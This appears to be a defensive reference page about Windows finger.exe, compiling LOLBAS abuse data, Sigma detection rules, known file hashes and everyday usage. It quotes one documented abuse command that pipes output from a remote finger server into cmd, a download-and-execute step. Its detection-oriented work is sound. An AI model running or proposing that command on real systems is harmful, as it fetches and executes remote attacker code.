Ceplin Command Identifier

Identifier / Programs / Windows

finger.exe

Displays information about users on a specified remote computer (typically a computer running UNIX) that is running the finger service or daemon. Windows commands reference

LOLBAS Download 3 Sigma rules name it 1 ATT&CK technique 1 documented command 12 known copies with hashes

Opens the identifier with your command. It is read in your browser and sent nowhere.

How finger.exe is abused

documented by LOLBAS

Download T1105 Ingress Tool Transfer

more cmd

Each abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for finger.exe.

1 documented command

from LOLBAS, each read by the identifier

Download T1105 Ingress Tool Transfer User privileges

Downloads payload from remote Finger server. This example connects to "example.host.com" asking for user "user"; the result could contain malicious shellcode which is executed by the cmd process.

finger user@example.host.com | more +2 | cmd
Identify

Trips 1 Sigma rule: highFinger.EXE Execution by Florian Roth (Nextron Systems), omkar72, oscd.community

The command the identifier reads trips a Sigma process-creation rule. These commands and their descriptions are from LOLBAS’s entry for finger.exe, by Ruben Revuelta, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for finger.exe. The identifier reads it with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.

What detects it

Sigma process creation rules
highFinger.EXE ExecutionFlorian Roth (Nextron Systems), omkar72, oscd.community
highPotential Defense Evasion Via Rename Of Highly Relevant BinariesMatthew Green - @mgreen27, Florian Roth (Nextron Systems), frack113
highSystem File Execution Location AnomalyFlorian Roth (Nextron Systems), Patrick Bareiss, Anton Kutepov, oscd.community, Nasreddine Bencherchali (Nextron Systems)
T1105Ingress Tool Transfer

Is it the real finger.exe?

file version info and known copies
Installed inC:\Windows\system32\
C:\Windows\SysWOW64\
Signed byMicrosoft Windows
ProductMicrosoft Windows Operating System, Microsoft Corporation
DescriptionTCPIP Finger Command

12 known copies

10.0.22000.1 (WinBuild.160101.0800) · C:\WINDOWS\SysWOW64\finger.exe · signed by Microsoft Windows

4c2179ecf2793c6fdc5ae913b3d2cfb73df681cfcdd10971e279153bbbb05ab0

10.0.22000.1 (WinBuild.160101.0800) · C:\WINDOWS\system32\finger.exe · signed by Microsoft Windows

922676de208ff1305df3c70099a54c0bd359e45b1ea00d0cd2af2eefd10ad569

10.0.19041.1 (WinBuild.160101.0800) · C:\Windows\SysWOW64\finger.exe · signed by Microsoft Windows

781f1bb7080ef4dc5bd8b5f6e3d7cd1ae304e0da6de135b166ef686326e87c5f

10.0.19041.1 (WinBuild.160101.0800) · C:\Windows\system32\finger.exe · signed by Microsoft Windows

d6c52ea560d6009505545e53c481f1d75579e11dade120cf164ebd196824ba91

10.0.18362.1 (WinBuild.160101.0800) · C:\WINDOWS\SysWOW64\finger.exe · signed by Microsoft Windows

6761440de752ec2fdbbd367486f4b077a912ac4eefc26c05052d7e36dc6ffa1b

10.0.18362.1 (WinBuild.160101.0800) · C:\WINDOWS\system32\finger.exe · signed by Microsoft Windows

de0aadb972bc256fdbb234b8cdb5427d8318a91edfc180d138beb3358161b2ea

10.0.17763.1 (WinBuild.160101.0800) · C:\Windows\SysWOW64\finger.exe · signed by Microsoft Windows

621f2cc798234a31b17b90cfc91b6e6f9a3a249e37ea9c235ab83e39fa4c7e63

10.0.17763.1 (WinBuild.160101.0800) · C:\Windows\system32\finger.exe · signed by Microsoft Windows

bbb90f52d01be03c297a6d4921c79e26d3ceda6dab20366e32a20907e015fbe1

10.0.14393.0 (rs1_release.160715-1616) · C:\Windows\SysWOW64\finger.exe · signed by Microsoft Windows

42b0e9cd8f98e5d3829fc9f2cbda618150c440a3188090eebed905c85aa9748f

10.0.14393.0 (rs1_release.160715-1616) · C:\Windows\system32\finger.exe · signed by Microsoft Windows

df1ae05c349a5c4e9d3187d0d85bd6172fb131bd5b826a1ffc947db9a09f3dcf

6.3.9600.16384 (winblue_rtm.130821-1623) · C:\windows\system32\finger.exe · not signed

42729d69171c5809a8a79716dff7763a6a960b059fc1395bea51558aa292eed6

6.3.9600.16384 (winblue_rtm.130821-1623) · C:\windows\SysWOW64\finger.exe · not signed

dcb9eecd222843185ab8e6722660894813efa76fa6d4503ac54fcb0a5685936f

From the file’s version info and the copies recorded by xCyclopedia (MIT). A copy in another folder, signed by someone else or with another hash is not necessarily malicious, but it is worth a closer look. In Ceplin, "<sha256>".whatis() says which known copy a hash is.

Everyday use

from tldr-pages, CC BY 4.0

Display information about a specific user

finger user@hostIdentify

Trips 1 Sigma rule: highFinger.EXE Execution by Florian Roth (Nextron Systems), omkar72, oscd.community

Display information about all users on the specified host

finger @hostIdentify

Trips 1 Sigma rule: highFinger.EXE Execution by Florian Roth (Nextron Systems), omkar72, oscd.community

Display information in a longer format

finger user@host -lIdentify
-lDisplays user information in long list format. Windows commands reference

Trips 1 Sigma rule: highFinger.EXE Execution by Florian Roth (Nextron Systems), omkar72, oscd.community

Of the 3 examples the identifier reads, 3 match LOLBAS abuse or trip a Sigma process-creation rule.

Options

2 in Windows commands reference
Show every option of finger.exe
-lDisplays user information in long list format.
/?Displays help at the command prompt.

Other programs abused for Download

appinstaller.exe · bcp.exe · bitsadmin.exe · certoc.exe · certreq.exe · certutil.exe · cmd.exe · cmdl32.exe · configsecuritypolicy.exe · desktopimgdownldr.exe · devtunnel.exe · diantz.exe · ecmangen.exe · esentutl.exe · excel.exe · expand.exe